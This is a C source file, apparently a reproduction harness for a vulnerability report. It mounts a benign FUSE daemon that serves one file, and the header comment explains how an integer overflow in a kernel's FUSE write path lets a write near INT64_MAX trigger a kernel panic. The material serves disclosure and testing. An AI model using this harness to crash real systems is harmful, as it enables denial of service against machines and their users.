/*
 * DF-0782 — benign FUSE daemon harness.
 *
 * Reproduces the integer overflow in fuse_vop_write()
 * (sys/vfs/fuse/fuse_vnops.c:1469 / :1529 / fuse_reg_resize KKASSERT :1972)
 * triggered when a process writes to a FUSE file at an offset near
 * INT64_MAX.
 *
 * The bug is entirely in the KERNEL's offset arithmetic — the daemon does
 * NOT need to misbehave.  fuse_vop_write() computes:
 *
 *     newsize = uio->uio_offset + uio->uio_resid;   // :1469
 *
 * where uio_offset is off_t (int64, signed) and uio_resid is size_t
 * (uint64, unsigned).  C usual arithmetic conversions promote the signed
 * operand to unsigned, so for offset = 0x7FFFFFFFFFFFFFF0 and resid = 16
 * the sum wraps to 0x8000000000000000 (== INT64_MIN as signed).  The
 * subsequent clamp
 *
 *     if (newsize < oldsize) newsize = oldsize;      // :1470
 *
 * masks it (newsize becomes oldsize, i.e. 0), so the FUSE_MAXFILESIZE and
 * RLIMIT_FSIZE checks at :1478/:1489 both pass.  Inside the write loop the
 * size is recomputed WITHOUT the clamp:
 *
 *     if ((uio->uio_offset + len) > fnp->size) {      // :1529
 *         trivial = (uio->uio_offset <= fnp->size);
 *         error = fuse_reg_resize(vp, uio->uio_offset + len, trivial);
 *                                                     // :1531 -> newsize=INT64_MIN
 *
 * so fuse_reg_resize() receives newsize = 0x8000000000000000 (INT64_MIN).
 * fuse.h:31-33 unconditionally #defines INVARIANTS for the whole FUSE
 * module, so the guard
 *
 *     #ifdef INVARIANTS
 *         KKASSERT(newsize >= 0);                      // :1972
 *     #endif
 *
 * is ALWAYS compiled in and fires immediately -> kernel panic.
 *
 * (Note fuse_vop_read() has an early `if (uio->uio_offset < 0) return
 * EINVAL;` at :1338; fuse_vop_write() has NO such guard — the asymmetry
 * this finding reports.)
 *
 * This daemon exposes one regular file "target" (inode 2, reported size 0)
 * and answers every opcode benignly (normal-size READ replies, ack WRITE).
 * The panic is triggered BEFORE any FUSE_WRITE reaches the daemon, so the
 * daemon's WRITE handler is only a safety net.
 *
 * Build:  cc -O0 -g -o fuse_daemon fuse_daemon.c
 * Run:    ./fuse_daemon /mnt/fuse        (as root; opens /dev/fuse, mounts)
 *
 * Trigger (as any user with write access to the file):
 *     ./write_trigger /mnt/fuse/target
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sys/wait.h>

/* ---- FUSE ABI (mirrors sys/vfs/fuse/fuse_abi.h) ---- */

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_LOOKUP    1
#define FUSE_FORGET    2
#define FUSE_GETATTR   3
#define FUSE_SETATTR   4
#define FUSE_READLINK  5
#define FUSE_OPEN      14
#define FUSE_READ      15
#define FUSE_WRITE     16
#define FUSE_STATFS    17
#define FUSE_RELEASE   18
#define FUSE_FSYNC     20
#define FUSE_FLUSH     25
#define FUSE_INIT      26
#define FUSE_OPENDIR   27
#define FUSE_READDIR   28
#define FUSE_RELEASEDIR 29
#define FUSE_ACCESS    34
#define FUSE_CREATE    35

struct fuse_in_header {
    uint32_t len;
    uint32_t opcode;
    uint64_t unique;
    uint64_t nodeid;
    uint32_t uid;
    uint32_t gid;
    uint32_t pid;
    uint32_t padding;
};

struct fuse_out_header {
    uint32_t len;
    int32_t  error;
    uint64_t unique;
};

struct fuse_init_in {
    uint32_t major, minor, max_readahead, flags;
};

struct fuse_init_out {
    uint32_t major, minor, max_readahead, flags;
    uint16_t max_background, congestion_threshold;
    uint32_t max_write, time_gran;
    uint16_t max_pages, padding;
    uint32_t unused[8];
};

struct fuse_attr {
    uint64_t ino, size, blocks, atime, mtime, ctime;
    uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding;
};

struct fuse_attr_out {
    uint64_t attr_valid;
    uint32_t attr_valid_nsec;
    uint32_t dummy;
    struct fuse_attr attr;
};

struct fuse_entry_out {
    uint64_t nodeid, generation, entry_valid, attr_valid;
    uint32_t entry_valid_nsec, attr_valid_nsec;
    struct fuse_attr attr;
};

struct fuse_open_out {
    uint64_t fh;
    uint32_t open_flags, padding;
};

struct fuse_write_in {
    uint64_t fh, offset;
    uint32_t size, write_flags;
    uint64_t lock_owner;
    uint32_t flags, padding;
};
struct fuse_write_out {
    uint32_t size, padding;
};

struct fuse_kstatfs {
    uint64_t blocks, bfree, bavail, files, ffree;
    uint32_t bsize, namelen, frsize, padding, spare[6];
};
struct fuse_statfs_out {
    struct fuse_kstatfs st;
};

struct fuse_access_in {
    uint32_t mask, padding;
};

/* synthetic file exposed by this daemon */
#define FILE_INO  2
#define FILE_SIZE 0   /* reported size 0 so oldsize=0, masking the overflow */

static const char *DEV = "/dev/fuse";

/* send a reply: out_header + optional data. */
static void
reply(int fd, uint64_t unique, int error, const void *data, size_t datalen)
{
    struct fuse_out_header oh;
    struct iovec iov[2];
    oh.len     = sizeof(oh) + datalen;
    oh.error   = error;
    oh.unique  = unique;
    iov[0].iov_base = &oh;
    iov[0].iov_len  = sizeof(oh);
    iov[1].iov_base = (void *)(uintptr_t)data;
    iov[1].iov_len  = datalen;
    if (writev(fd, iov, data ? 2 : 1) < 0)
        warn("daemon writev failed");
}

/* build a fuse_attr for a given inode. */
static void
make_attr(struct fuse_attr *a, uint64_t ino, uint32_t mode, uint64_t size)
{
    memset(a, 0, sizeof(*a));
    a->ino      = ino;
    a->size     = size;
    a->blocks   = (size + 511) / 512;
    a->atime = a->mtime = a->ctime = 1000000000ULL;
    a->mode     = mode;
    a->nlink    = 1;
    a->uid      = 0;
    a->gid      = 0;
    a->blksize  = 4096;
}

static void
reply_getattr(int fd, uint64_t unique, uint64_t nodeid)
{
    struct fuse_attr_out ao;
    memset(&ao, 0, sizeof(ao));
    ao.attr_valid = 3600;
    if (nodeid == FUSE_ROOT_ID)
        make_attr(&ao.attr, FUSE_ROOT_ID, S_IFDIR | 0777, 0);
    else
        make_attr(&ao.attr, FILE_INO, S_IFREG | 0666, FILE_SIZE);
    reply(fd, unique, 0, &ao, sizeof(ao));
}

static void
reply_lookup(int fd, uint64_t unique)
{
    struct fuse_entry_out eo;
    memset(&eo, 0, sizeof(eo));
    eo.nodeid = FILE_INO;
    eo.generation = 1;
    eo.entry_valid = eo.attr_valid = 3600;
    make_attr(&eo.attr, FILE_INO, S_IFREG | 0666, FILE_SIZE);
    reply(fd, unique, 0, &eo, sizeof(eo));
}

/* the daemon serve loop. */
static void
serve(int fd)
{
    unsigned char buf[65536];
    fprintf(stderr, "[daemon] serving on fd %d\n", fd);
    for (;;) {
        ssize_t n = read(fd, buf, sizeof(buf));
        if (n < 0) {
            if (errno == EINTR) continue;
            warn("daemon read failed");
            return;
        }
        if (n == 0) {
            fprintf(stderr, "[daemon] EOF on device\n");
            return;
        }
        if ((size_t)n < sizeof(struct fuse_in_header)) {
            fprintf(stderr, "[daemon] short read %zd\n", n);
            continue;
        }
        struct fuse_in_header *ih = (struct fuse_in_header *)buf;
        void *in = buf + sizeof(*ih);
        uint64_t uniq = ih->unique;

        switch (ih->opcode) {
        case FUSE_INIT: {
            struct fuse_init_in *fi = in;
            struct fuse_init_out fo;
            memset(&fo, 0, sizeof(fo));
            fo.major = FUSE_KERNEL_VERSION;
            fo.minor = (fi->minor < 28) ? fi->minor : 28;
            fo.max_readahead = 4096;
            fo.flags = 0;
            fo.max_write = 1 << 20;
            fprintf(stderr, "[daemon] INIT major=%u minor=%u -> reply\n",
                    fi->major, fi->minor);
            reply(fd, uniq, 0, &fo, sizeof(fo));
            break;
        }
        case FUSE_STATFS: {
            struct fuse_statfs_out so;
            memset(&so, 0, sizeof(so));
            so.st.blocks = 1024; so.st.bfree = 512; so.st.bavail = 512;
            so.st.files = 16; so.st.ffree = 8;
            so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096;
            reply(fd, uniq, 0, &so, sizeof(so));
            break;
        }
        case FUSE_GETATTR:
            reply_getattr(fd, uniq, ih->nodeid);
            break;
        case FUSE_LOOKUP:
            reply_lookup(fd, uniq);
            break;
        case FUSE_ACCESS:
            reply(fd, uniq, 0, NULL, 0);
            break;
        case FUSE_OPEN:
        case FUSE_CREATE: {
            struct fuse_open_out oo;
            memset(&oo, 0, sizeof(oo));
            oo.fh = FILE_INO;
            reply(fd, uniq, 0, &oo, sizeof(oo));
            break;
        }
        case FUSE_READ: {
            /* benign: reply with the requested size (zeroed). The bug is
             * NOT in the read path; this is only here so a stray read
             * does not wedge the daemon. */
            struct { uint64_t fh, offset; uint32_t size, rf; uint64_t lo; uint32_t fl, pad; } *ri = in;
            static unsigned char zbuf[65536];
            size_t rsz = ri->size;
            if (rsz > sizeof(zbuf)) rsz = sizeof(zbuf);
            memset(zbuf, 0, rsz);
            fprintf(stderr, "[daemon] READ node=%lu off=%lu reqsize=%u -> benign %zu\n",
                    (unsigned long)ih->nodeid, (unsigned long)ri->offset,
                    ri->size, rsz);
            reply(fd, uniq, 0, zbuf, rsz);
            break;
        }
        case FUSE_WRITE: {
            struct fuse_write_in *wi = in;
            struct fuse_write_out wo;
            memset(&wo, 0, sizeof(wo));
            wo.size = wi->size;   /* benign: claim we wrote it all */
            fprintf(stderr, "[daemon] WRITE node=%lu off=%lu size=%u -> ack\n",
                    (unsigned long)ih->nodeid, (unsigned long)wi->offset,
                    wi->size);
            reply(fd, uniq, 0, &wo, sizeof(wo));
            break;
        }
        case FUSE_SETATTR:
            reply_getattr(fd, uniq, ih->nodeid);
            break;
        case FUSE_FORGET:
            /* no reply */
            break;
        case FUSE_FLUSH:
        case FUSE_RELEASE:
        case FUSE_RELEASEDIR:
        case FUSE_FSYNC:
        case FUSE_READLINK:
        case FUSE_OPENDIR:
        case FUSE_READDIR:
            reply(fd, uniq, 0, NULL, 0);
            break;
        default:
            fprintf(stderr, "[daemon] unhandled opcode %u\n", ih->opcode);
            reply(fd, uniq, -ENOSYS, NULL, 0);
            break;
        }
    }
}

int
main(int argc, char **argv)
{
    const char *mnt;
    int fd, status;
    pid_t pid;

    if (argc != 2) {
        fprintf(stderr, "usage: %s mountpoint\n", argv[0]);
        return 2;
    }
    mnt = argv[1];
    setvbuf(stderr, NULL, _IOLBF, 0);  /* survive kernel panic in the log */

    fd = open(DEV, O_RDWR);
    if (fd < 0)
        err(1, "open %s", DEV);
    fprintf(stderr, "[main] opened %s fd=%d\n", DEV, fd);

    mkdir(mnt, 0777);

    pid = fork();
    if (pid < 0)
        err(1, "fork");
    if (pid == 0) {
        /* daemon child: serve requests (holds the fd, keeps mount alive). */
        serve(fd);
        _exit(0);
    }

    /* parent: perform the mount using the open fd.  Kernel ships FUSE_INIT
     * to the queue; the daemon child answers it; this mount(2) returns. */
    sleep(1);  /* let daemon enter read() */
    struct fuse_mount_info {
        int flags;
        int fd;
        int max_read;
        const char *subtype;
        const char *from;
    } args;
    memset(&args, 0, sizeof(args));
    args.flags = 0;
    args.fd = fd;
    args.max_read = 0;
    args.subtype = NULL;
    args.from = DEV;

    if (mount("fuse", mnt, 0, &args) < 0)
        err(1, "mount fuse on %s", mnt);
    fprintf(stderr, "[main] mounted fuse on %s (daemon pid %d)\n", mnt, pid);
    fprintf(stderr, "[main] now run: ./write_trigger %s/target   (triggers panic)\n",
            mnt);

    /* keep parent alive so the daemon child isn't reparented/killed before
     * the trigger; wait for it. */
    waitpid(pid, &status, 0);
    fprintf(stderr, "[main] daemon exited status=%d\n", status);
    return 0;
}
